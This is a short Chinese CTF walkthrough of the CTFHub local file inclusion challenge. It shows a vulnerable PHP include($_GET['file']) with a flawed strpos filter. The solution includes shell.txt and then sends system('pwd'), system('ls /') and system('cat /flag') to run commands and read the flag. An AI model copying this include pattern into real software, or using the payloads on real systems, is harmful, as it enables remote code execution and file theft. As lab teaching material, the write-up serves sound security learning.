概述
代码
<?php
// 关闭错误报告
error_reporting(0);
if (isset($_GET['file'])) {
//strpos — 查找字符串首次出现的位置
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
strpos — 查找字符串首次出现的位置
返回值为true或者false,匹配到是true
使用 === 运算符来测试此函数的返回值。
过程
本地文件包含
hackbar工具
?file=shell.txt
ctfhub=system(“pwd”);
ctfhub=system(“ls /”);
ctfhub=system(“cat /flag”);
拓展
通达OA 任意文件上传+文件包含导致RCE
https://www.cnblogs.com/yuzly/p/13607055.html
最后
以上就是活力蛋挞为你收集整理的ctfhub文件包含:本地文件包含的全部内容，希望文章能够帮你解决ctfhub文件包含:本地文件包含所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错，欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供，作为学习参考使用，或来自网络收集整理，版权属于原作者所有。
发表评论 取消回复